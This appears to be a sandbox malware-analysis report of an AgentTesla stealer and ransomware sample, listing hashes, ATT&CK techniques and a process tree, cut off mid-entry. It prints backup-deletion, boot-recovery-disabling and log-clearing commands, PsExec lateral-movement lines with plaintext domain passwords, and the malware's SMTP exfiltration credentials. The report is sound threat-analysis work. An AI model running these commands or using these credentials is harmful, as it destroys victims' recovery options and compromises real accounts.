agenttesla | 74561e938b5a4d9966fa56ba62082b6bcc9deecbe62984d1ebfc7db34eaf9f17

Analysis

max time kernel
150s
max time network
157s
platform
windows10_x64
resource
win10v200722
submitted
16/10/2020, 13:15

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
AV_20000346_Jinfeng.exe
Size 1.2MB
Sample201016-vrxpthkb6e
SHA256 74561e938b5a4d9966fa56ba62082b6bcc9deecbe62984d1ebfc7db34eaf9f17
MD5 e6a320ce24fd2fa1418f038611d93482
SHA1 6b937d0c777e2fef8d6dec7faf71f2b34cd13721
SHA512 58d0e12ecc51fdd37459eb19fd47c0e9e8d0417855622c12e4d76bee32a99a91b8b76220b2f5824927f9405098ac501b3d0cbc2e1e6f3b351b50c1277f382ace
MD5 SHA1 SHA512

Score

10^/10

agenttesla evasion keylogger ransomware spyware stealer trojan

Malware Config

Extracted

Family

agenttesla

Credentials

Protocol
smtp
Host
mail.remixtechnologies.com
Port
587
Username
[email protected]
Password
sales@new123

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla

AgentTesla Payload 2 IoCs

resource	yara_rule
behavioral2/memory/3532-10-0x0000000000400000-0x0000000000458000-memory.dmp	family_agenttesla
behavioral2/memory/3532-11-0x0000000000452F9E-mapping.dmp	family_agenttesla

Clears Windows event logs 1 TTPs
evasion ransomware

Indicator Removal on Host
T1070
Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1107

Inhibit System Recovery
T1490

Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
2412	bcdedit.exe
260	bcdedit.exe

Deletes backup catalog 3 TTPs 1 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command-Line Interface

T1059

File Deletion

T1107

Inhibit System Recovery

T1490

pid	Process
2908	wbadmin.exe

Executes dropped EXE 64 IoCs

pid	Process
3472	kawhz.exe
1004	_mud.exe
2184	_sin.exe
2204	_sin.exe
3996	PSEXESVC.exe
352	_sin.exe
2408	_sin.exe
3852	_sqc.exe
4072	_sin.exe
3316	_sin.exe
1692	_sin.exe
2980	_sin.exe
2668	_sqc.exe
2896	_sin.exe
2984	_sin.exe
2032	_sin.exe
636	_sqc.exe
2784	_sin.exe
2272	_sin.exe
1952	_sin.exe
744	_sin.exe
3604	_sin.exe
3300	_sin.exe
2704	_sin.exe
3412	_sin.exe
260	_sin.exe
2696	_sin.exe
256	_sin.exe
268	_sin.exe
632	_sin.exe
2940	_sin.exe
1244	_sin.exe
280	_sin.exe
3348	_sin.exe
2168	_sin.exe
496	_sin.exe
2412	_sin.exe
3876	_sin.exe
1008	_sin.exe
3800	_sin.exe
2072	_sin.exe
3760	_sin.exe
1540	_sin.exe
2776	_sin.exe
2212	_sin.exe
2140	_sin.exe
252	_sin.exe
60	_sin.exe
1832	_sin.exe
996	_sin.exe
684	_sin.exe
4000	_sin.exe
4176	_sin.exe
4224	_sin.exe
4264	_sin.exe
4276	_sin.exe
4400	_sin.exe
4412	_sin.exe
4500	_sin.exe
4512	_sin.exe
4568	_sin.exe
4692	_sin.exe
4680	_sin.exe
4776	_sin.exe

Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
spyware

Data from Local System
T1005

Credentials in Files
T1081
Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware

Data from Local System
T1005

Credentials in Files
T1081
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware

Data from Local System
T1005

Credentials in Files
T1081

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 1468 set thread context of 3532	1468	AV_20000346_Jinfeng.exe	75

Drops file in Windows directory 4 IoCs

description	ioc	Process
File created	C:\Windows\PSEXESVC.exe	_sin.exe
File opened for modification	C:\Windows\_sqc.exe	notepad.exe
File opened for modification	C:\Windows\_sqc.exe	notepad.exe
File opened for modification	C:\Windows\_sqc.exe	notepad.exe

Checks SCSI registry key(s) 3 TTPs 4 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_&PROD_HEARTDISK\4&37CE57BA&0&000000	vds.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\FriendlyName	vds.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_SANU&PROD_SANU_DVD-ROM\4&37CE57BA&0&010000	vds.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\FriendlyName	vds.exe

Interacts with shadow copies 2 TTPs 1 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1107

Inhibit System Recovery

T1490

pid	Process
2968	vssadmin.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\PsExec	_sin.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\PsExec\EulaAccepted = "1"	_sin.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\PsExec	_sin.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\PsExec	_sin.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\PsExec	_sin.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\PsExec	_sin.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\PsExec\EulaAccepted = "1"	_sin.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\PsExec\EulaAccepted = "1"	_sin.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\PsExec\EulaAccepted = "1"	_sin.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\PsExec	_sin.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\PsExec	_sin.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\PsExec\EulaAccepted = "1"	_sin.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\PsExec\EulaAccepted = "1"	_sin.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\PsExec\EulaAccepted = "1"	_sin.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\PsExec\EulaAccepted = "1"	_sin.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\PsExec\EulaAccepted = "1"	_sin.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\PsExec\EulaAccepted = "1"	_sin.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\PsExec\EulaAccepted = "1"	_sin.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\PsExec\EulaAccepted = "1"	_sin.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\PsExec	_sin.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\PsExec\EulaAccepted = "1"	_sin.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\PsExec\EulaAccepted = "1"	_sin.exe
Key created	\REGISTRY\USER\.DEFAULT\Software	_sin.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\PsExec\EulaAccepted = "1"	_sin.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\PsExec	_sin.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\PsExec	_sin.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\PsExec	_sin.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\PsExec	_sin.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\PsExec	_sin.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\PsExec\EulaAccepted = "1"	_sin.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\PsExec	_sin.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\PsExec	_sin.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\PsExec\EulaAccepted = "1"	_sin.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\PsExec	_sin.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\PsExec\EulaAccepted = "1"	_sin.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\PsExec	_sin.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\PsExec	_sin.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\PsExec\EulaAccepted = "1"	_sin.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\PsExec	_sin.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\PsExec	_sin.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\PsExec	_sin.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\PsExec\EulaAccepted = "1"	_sin.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\PsExec\EulaAccepted = "1"	_sin.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\PsExec	_sin.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\PsExec\EulaAccepted = "1"	_sin.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\PsExec\EulaAccepted = "1"	_sin.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\PsExec	_sin.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\PsExec	_sin.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\PsExec	_sin.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\PsExec	_sin.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\PsExec\EulaAccepted = "1"	_sin.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\PsExec\EulaAccepted = "1"	_sin.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\PsExec\EulaAccepted = "1"	_sin.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\PsExec\EulaAccepted = "1"	_sin.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\PsExec\EulaAccepted = "1"	_sin.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\PsExec	_sin.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\PsExec	_sin.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\PsExec	_sin.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\PsExec	_sin.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\PsExec\EulaAccepted = "1"	_sin.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\PsExec\EulaAccepted = "1"	_sin.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\PsExec	_sin.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\PsExec\EulaAccepted = "1"	_sin.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\PsExec\EulaAccepted = "1"	_sin.exe

Suspicious behavior: EnumeratesProcesses 11 IoCs

pid	Process
1468	AV_20000346_Jinfeng.exe
1468	AV_20000346_Jinfeng.exe
1468	AV_20000346_Jinfeng.exe
3532	AV_20000346_Jinfeng.exe
3532	AV_20000346_Jinfeng.exe
3472	kawhz.exe
3472	kawhz.exe
3472	kawhz.exe
3472	kawhz.exe
3472	kawhz.exe
3472	kawhz.exe

Suspicious use of AdjustPrivilegeToken 62 IoCs

description	pid	Process
Token: SeDebugPrivilege	1468	AV_20000346_Jinfeng.exe
Token: SeDebugPrivilege	3532	AV_20000346_Jinfeng.exe
Token: SeAssignPrimaryTokenPrivilege	928	_yft.exe
Token: SeIncreaseQuotaPrivilege	928	_yft.exe
Token: SeSecurityPrivilege	928	_yft.exe
Token: SeTakeOwnershipPrivilege	928	_yft.exe
Token: SeLoadDriverPrivilege	928	_yft.exe
Token: SeSystemtimePrivilege	928	_yft.exe
Token: SeBackupPrivilege	928	_yft.exe
Token: SeRestorePrivilege	928	_yft.exe
Token: SeShutdownPrivilege	928	_yft.exe
Token: SeSystemEnvironmentPrivilege	928	_yft.exe
Token: SeUndockPrivilege	928	_yft.exe
Token: SeManageVolumePrivilege	928	_yft.exe
Token: SeDebugPrivilege	3472	kawhz.exe
Token: SeShutdownPrivilege	1004	_mud.exe
Token: SeBackupPrivilege	3756	vssvc.exe
Token: SeRestorePrivilege	3756	vssvc.exe
Token: SeAuditPrivilege	3756	vssvc.exe
Token: SeAssignPrimaryTokenPrivilege	3852	_sqc.exe
Token: SeIncreaseQuotaPrivilege	3852	_sqc.exe
Token: SeSecurityPrivilege	3852	_sqc.exe
Token: SeTakeOwnershipPrivilege	3852	_sqc.exe
Token: SeLoadDriverPrivilege	3852	_sqc.exe
Token: SeSystemtimePrivilege	3852	_sqc.exe
Token: SeBackupPrivilege	3852	_sqc.exe
Token: SeRestorePrivilege	3852	_sqc.exe
Token: SeShutdownPrivilege	3852	_sqc.exe
Token: SeSystemEnvironmentPrivilege	3852	_sqc.exe
Token: SeUndockPrivilege	3852	_sqc.exe
Token: SeManageVolumePrivilege	3852	_sqc.exe
Token: SeBackupPrivilege	3988	wbengine.exe
Token: SeRestorePrivilege	3988	wbengine.exe
Token: SeSecurityPrivilege	3988	wbengine.exe
Token: SeAssignPrimaryTokenPrivilege	2668	_sqc.exe
Token: SeIncreaseQuotaPrivilege	2668	_sqc.exe
Token: SeSecurityPrivilege	2668	_sqc.exe
Token: SeTakeOwnershipPrivilege	2668	_sqc.exe
Token: SeLoadDriverPrivilege	2668	_sqc.exe
Token: SeSystemtimePrivilege	2668	_sqc.exe
Token: SeBackupPrivilege	2668	_sqc.exe
Token: SeRestorePrivilege	2668	_sqc.exe
Token: SeShutdownPrivilege	2668	_sqc.exe
Token: SeSystemEnvironmentPrivilege	2668	_sqc.exe
Token: SeUndockPrivilege	2668	_sqc.exe
Token: SeManageVolumePrivilege	2668	_sqc.exe
Token: SeAssignPrimaryTokenPrivilege	636	_sqc.exe
Token: SeIncreaseQuotaPrivilege	636	_sqc.exe
Token: SeSecurityPrivilege	636	_sqc.exe
Token: SeTakeOwnershipPrivilege	636	_sqc.exe
Token: SeLoadDriverPrivilege	636	_sqc.exe
Token: SeSystemtimePrivilege	636	_sqc.exe
Token: SeBackupPrivilege	636	_sqc.exe
Token: SeRestorePrivilege	636	_sqc.exe
Token: SeShutdownPrivilege	636	_sqc.exe
Token: SeSystemEnvironmentPrivilege	636	_sqc.exe
Token: SeUndockPrivilege	636	_sqc.exe
Token: SeManageVolumePrivilege	636	_sqc.exe
Token: SeSecurityPrivilege	3088	wevtutil.exe
Token: SeBackupPrivilege	3088	wevtutil.exe
Token: SeSecurityPrivilege	2240	wevtutil.exe
Token: SeBackupPrivilege	2240	wevtutil.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1468 wrote to memory of 3532	1468	AV_20000346_Jinfeng.exe	75
PID 1468 wrote to memory of 3532	1468	AV_20000346_Jinfeng.exe	75
PID 1468 wrote to memory of 3532	1468	AV_20000346_Jinfeng.exe	75
PID 1468 wrote to memory of 3532	1468	AV_20000346_Jinfeng.exe	75
PID 1468 wrote to memory of 3532	1468	AV_20000346_Jinfeng.exe	75
PID 1468 wrote to memory of 3532	1468	AV_20000346_Jinfeng.exe	75
PID 1468 wrote to memory of 3532	1468	AV_20000346_Jinfeng.exe	75
PID 1468 wrote to memory of 3532	1468	AV_20000346_Jinfeng.exe	75
PID 3804 wrote to memory of 928	3804	PSEXESVC.exe	78
PID 3804 wrote to memory of 928	3804	PSEXESVC.exe	78
PID 3804 wrote to memory of 928	3804	PSEXESVC.exe	78
PID 928 wrote to memory of 3472	928	_yft.exe	79
PID 928 wrote to memory of 3472	928	_yft.exe	79
PID 928 wrote to memory of 1004	928	_yft.exe	80
PID 928 wrote to memory of 1004	928	_yft.exe	80
PID 928 wrote to memory of 1004	928	_yft.exe	80
PID 1004 wrote to memory of 2140	1004	_mud.exe	81
PID 1004 wrote to memory of 2140	1004	_mud.exe	81
PID 928 wrote to memory of 2184	928	_yft.exe	84
PID 928 wrote to memory of 2184	928	_yft.exe	84
PID 928 wrote to memory of 2184	928	_yft.exe	84
PID 928 wrote to memory of 2204	928	_yft.exe	83
PID 928 wrote to memory of 2204	928	_yft.exe	83
PID 928 wrote to memory of 2204	928	_yft.exe	83
PID 2140 wrote to memory of 2968	2140	cmd.exe	85
PID 2140 wrote to memory of 2968	2140	cmd.exe	85
PID 928 wrote to memory of 352	928	_yft.exe	91
PID 928 wrote to memory of 352	928	_yft.exe	91
PID 928 wrote to memory of 352	928	_yft.exe	91
PID 928 wrote to memory of 2408	928	_yft.exe	93
PID 928 wrote to memory of 2408	928	_yft.exe	93
PID 928 wrote to memory of 2408	928	_yft.exe	93
PID 928 wrote to memory of 4072	928	_yft.exe	94
PID 928 wrote to memory of 4072	928	_yft.exe	94
PID 928 wrote to memory of 4072	928	_yft.exe	94
PID 3996 wrote to memory of 3852	3996	PSEXESVC.exe	95
PID 3996 wrote to memory of 3852	3996	PSEXESVC.exe	95
PID 3996 wrote to memory of 3852	3996	PSEXESVC.exe	95
PID 3852 wrote to memory of 3464	3852	_sqc.exe	97
PID 3852 wrote to memory of 3464	3852	_sqc.exe	97
PID 3852 wrote to memory of 3464	3852	_sqc.exe	97
PID 3852 wrote to memory of 3464	3852	_sqc.exe	97
PID 3852 wrote to memory of 3464	3852	_sqc.exe	97
PID 928 wrote to memory of 3316	928	_yft.exe	99
PID 928 wrote to memory of 3316	928	_yft.exe	99
PID 928 wrote to memory of 3316	928	_yft.exe	99
PID 1004 wrote to memory of 632	1004	_mud.exe	100
PID 1004 wrote to memory of 632	1004	_mud.exe	100
PID 632 wrote to memory of 2908	632	cmd.exe	103
PID 632 wrote to memory of 2908	632	cmd.exe	103
PID 928 wrote to memory of 1692	928	_yft.exe	105
PID 928 wrote to memory of 1692	928	_yft.exe	105
PID 928 wrote to memory of 1692	928	_yft.exe	105
PID 928 wrote to memory of 2980	928	_yft.exe	106
PID 928 wrote to memory of 2980	928	_yft.exe	106
PID 928 wrote to memory of 2980	928	_yft.exe	106
PID 928 wrote to memory of 2896	928	_yft.exe	110
PID 928 wrote to memory of 2896	928	_yft.exe	110
PID 928 wrote to memory of 2896	928	_yft.exe	110
PID 3996 wrote to memory of 2668	3996	PSEXESVC.exe	112
PID 3996 wrote to memory of 2668	3996	PSEXESVC.exe	112
PID 3996 wrote to memory of 2668	3996	PSEXESVC.exe	112
PID 2668 wrote to memory of 4004	2668	_sqc.exe	113
PID 2668 wrote to memory of 4004	2668	_sqc.exe	113

C:\Users\Admin\AppData\Local\Temp\AV_20000346_Jinfeng.exe
"C:\Users\Admin\AppData\Local\Temp\AV_20000346_Jinfeng.exe"
1⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1468
- C:\Users\Admin\AppData\Local\Temp\AV_20000346_Jinfeng.exe
  "{path}"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3532

C:\Windows\PSEXESVC.exe
C:\Windows\PSEXESVC.exe
1⤵
- Suspicious use of WriteProcessMemory
PID:3804
- C:\Windows\_yft.exe
  "_yft.exe"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:928
- - C:\Windows\TEMP\kawhz.exe
    123 \\.\pipe\3DC70AE9-B582-4F27-90B1-D20A12A39F5D
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3472
- - C:\Windows\TEMP\_mud.exe
    "C:\Windows\TEMP\_mud.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1004
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c c:\Windows\system32\vssadmin.exe delete shadows /all /quiet
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2140
    - - \??\c:\Windows\system32\vssadmin.exe
        
        c:\Windows\system32\vssadmin.exe delete shadows /all /quiet
        5⤵
        Interacts with shadow copies
        
        PID:2968
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c wbadmin.exe delete catalog -quiet
      4⤵
      Suspicious use of WriteProcessMemory
      PID:632
    - - C:\Windows\system32\wbadmin.exe
        
        wbadmin.exe delete catalog -quiet
        5⤵
        Deletes backup catalog
        
        PID:2908
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no
      4⤵
      PID:1892
    - - C:\Windows\system32\bcdedit.exe
        
        bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures
        5⤵
        Modifies boot configuration data using bcdedit
        
        PID:2412
    - - C:\Windows\system32\bcdedit.exe
        
        bcdedit /set {default} recoveryenabled no
        5⤵
        Modifies boot configuration data using bcdedit
        
        PID:260
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c wevtutil.exe cl System
      4⤵
      PID:2140
    - - C:\Windows\system32\wevtutil.exe
        
        wevtutil.exe cl System
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:3088
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c wevtutil.exe cl Security
      4⤵
      PID:2312
    - - C:\Windows\system32\wevtutil.exe
        
        wevtutil.exe cl Security
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:2240
- - C:\Windows\TEMP\_sin.exe
    C:\Windows\TEMP\_sin.exe \\Lzukliou -u "ww930\deb00999" -p "1qaz2wsx#EDC" -accepteula -d -s -c -f "C:\Windows\TEMP\_sqc.exe"
    3⤵
    - Executes dropped EXE
    - Modifies data under HKEY_USERS
    PID:2204
- - C:\Windows\TEMP\_sin.exe
    C:\Windows\TEMP\_sin.exe \\Lzukliou -u "ww930\deb00999" -p "1qaz2wsx#EDC" -accepteula -d -s -c -f "C:\Windows\TEMP\_sqc.exe"
    3⤵
    - Executes dropped EXE
    - Modifies data under HKEY_USERS
    PID:2184
- - C:\Windows\TEMP\_sin.exe
    C:\Windows\TEMP\_sin.exe \\255.255.255.255 -u "ww930\deb00999" -p "1qaz2wsx#EDC" -accepteula -d -s -c -f "C:\Windows\TEMP\_sqc.exe"
    3⤵
    - Executes dropped EXE
    - Modifies data under HKEY_USERS
    PID:352
- - C:\Windows\TEMP\_sin.exe
    C:\Windows\TEMP\_sin.exe \\255.255.255.255 -u "ww930\deb00999" -p "1qaz2wsx#EDC" -accepteula -d -s -c -f "C:\Windows\TEMP\_sqc.exe"
    3⤵
    - Executes dropped EXE
    - Modifies data under HKEY_USERS
    PID:2408
- - C:\Windows\TEMP\_sin.exe
    C:\Windows\TEMP\_sin.exe \\10.10.0.75 -u "ww930\deb00999" -p "1qaz2wsx#EDC" -accepteula -d -s -c -f "C:\Windows\TEMP\_sqc.exe"
    3⤵
    - Executes dropped EXE
    - Modifies data under HKEY_USERS
    PID:4072
- - C:\Windows\TEMP\_sin.exe
    C:\Windows\TEMP\_sin.exe \\10.10.0.255 -u "ww930\deb00999" -p "1qaz2wsx#EDC" -accepteula -d -s -c -f "C:\Windows\TEMP\_sqc.exe"
    3⤵
    - Executes dropped EXE
    - Modifies data under HKEY_USERS
    PID:3316
- - C:\Windows\TEMP\_sin.exe
    C:\Windows\TEMP\_sin.exe \\Lzukliou -u "WW930\w99a1mf0" -p "SUNTEMINdec2017" -accepteula -d -s -c -f "C:\Windows\TEMP\_sqc.exe"
    3⤵
    - Executes dropped EXE
    PID:1692
- - C:\Windows\TEMP\_sin.exe
    C:\Windows\TEMP\_sin.exe \\255.255.255.255 -u "WW930\w99a1mf0" -p "SUNTEMINdec2017" -accepteula -d -s -c -f "C:\Windows\TEMP\_sqc.exe"
    3⤵
    - Executes dropped EXE
    - Modifies data under HKEY_USERS
    PID:2980
- - C:\Windows\TEMP\_sin.exe
    C:\Windows\TEMP\_sin.exe \\255.255.255.255 -u "WW930\w99a1mf0" -p "SUNTEMINdec2017" -accepteula -d -s -c -f "C:\Windows\TEMP\_sqc.exe"
    3⤵
    - Executes dropped EXE
    PID:2896
- - C:\Windows\TEMP\_sin.exe
    C:\Windows\TEMP\_sin.exe \\10.10.0.255 -u "ww930\deb00999" -p "1qaz2wsx#EDC" -accepteula -d -s -c -f "C:\Windows\TEMP\_sqc.exe"
    3⤵
    - Executes dropped EXE
    - Modifies data under HKEY_USERS
    PID:2984
- - C:\Windows\TEMP\_sin.exe
    C:\Windows\TEMP\_sin.exe \\Lzukliou -u "ww930\deb00999" -p "1qaz2wsx#EDC" -accepteula -d -s -c -f "C:\Windows\TEMP\_sqc.exe"
    3⤵
    - Executes dropped EXE
    - Modifies data under HKEY_USERS
    PID:2032
- - C:\Windows\TEMP\_sin.exe
    C:\Windows\TEMP\_sin.exe \\255.255.255.255 -u "RUVOZ990FILSRV\MICROSOFT$DPM$Acct" -p "1qay2wsx_!NSN2" -accepteula -d -s -c -f "C:\Windows\TEMP\_sqc.exe"
    3⤵
    - Executes dropped EXE
    - Modifies data under HKEY_USERS
    PID:2784
- - C:\Windows\TEMP\_sin.exe
    C:\Windows\TEMP\_sin.exe \\255.255.255.255 -u "RUVOZ990FILSRV\MICROSOFT$DPM$Acct" -p "1qay2wsx_!NSN2" -accepteula -d -s -c -f "C:\Windows\TEMP\_sqc.exe"
    3⤵
    - Executes dropped EXE
    PID:2272
- - C:\Windows\TEMP\_sin.exe
    C:\Windows\TEMP\_sin.exe \\255.255.255.255 -u "WW930\a593309" -p "Provoka426446" -accepteula -d -s -c -f "C:\Windows\TEMP\_sqc.exe"
    3⤵
    - Executes dropped EXE
    - Modifies data under HKEY_USERS
    PID:1952
- - C:\Windows\TEMP\_sin.exe
    C:\Windows\TEMP\_sin.exe \\255.255.255.255 -u "WW930\a593309" -p "Provoka426446" -accepteula -d -s -c -f "C:\Windows\TEMP\_sqc.exe"
    3⤵
    - Executes dropped EXE
    - Modifies data under HKEY_USERS
    PID:744
- - C:\Windows\TEMP\_sin.exe
    C:\Windows\TEMP\_sin.exe \\239.255.255.250 -u "ww930\deb00999" -p "1qaz2wsx#EDC" -accepteula -d -s -c -f "C:\Windows\TEMP\_sqc.exe"
    3⤵
    - Executes dropped EXE
    - Modifies data under HKEY_USERS
    PID:3604
- - C:\Windows\TEMP\_sin.exe
    C:\Windows\TEMP\_sin.exe \\239.255.255.250 -u "ww930\deb00999" -p "1qaz2wsx#EDC" -accepteula -d -s -c -f "C:\Windows\TEMP\_sqc.exe"
    3⤵
    - Executes dropped EXE
    - Modifies data under HKEY_USERS
    PID:3300
- - C:\Windows\TEMP\_sin.exe
    C:\Windows\TEMP\_sin.exe \\10.10.0.255 -u "WW930\w99a1mf0" -p "SUNTEMINdec2017" -accepteula -d -s -c -f "C:\Windows\TEMP\_sqc.exe"
    3⤵
    - Executes dropped EXE
    - Modifies data under HKEY_USERS
    PID:2704
- - C:\Windows\TEMP\_sin.exe
    C:\Windows\TEMP\_sin.exe \\10.10.0.255 -u "WW930\w99a1mf0" -p "SUNTEMINdec2017" -accepteula -d -s -c -f "C:\Windows\TEMP\_sqc.exe"
    3⤵
    - Executes dropped EXE
    PID:3412
- - C:\Windows\TEMP\_sin.exe
    C:\Windows\TEMP\_sin.exe \\255.255.255.255 -u "emea\elena.samokhvalova" -p "Provoka426446" -accepteula -d -s -c -f "C:\Windows\TEMP\_sqc.exe"
    3⤵
    - Executes dropped EXE
    - Modifies data under HKEY_USERS
    PID:260
- - C:\Windows\TEMP\_sin.exe
    C:\Windows\TEMP\_sin.exe \\255.255.255.255 -u "emea\elena.samokhvalova" -p "Provoka426446" -accepteula -d -s -c -f "C:\Windows\TEMP\_sqc.exe"
    3⤵
    - Executes dropped EXE
    - Modifies data under HKEY_USERS
    PID:2696
- - C:\Windows\TEMP\_sin.exe
    C:\Windows\TEMP\_sin.exe \\255.255.255.255 -u "MicrosoftOffice16_Data:SSPI:[email protected]\(null)" -p "Provoka426446" -accepteula -d -s -c -f "C:\Windows\TEMP\_sqc.exe"
    3⤵
    - Executes dropped EXE
    - Modifies data under HKEY_USERS
    PID:256
- - C:\Windows\TEMP\_sin.exe
    C:\Windows\TEMP\_sin.exe \\255.255.255.255 -u "MicrosoftOffice16_Data:SSPI:[email protected]\(null)" -p "Provoka426446" -accepteula -d -s -c -f "C:\Windows\TEMP\_sqc.exe"
    3⤵
    - Executes dropped EXE
    PID:268
- - C:\Windows\TEMP\_sin.exe
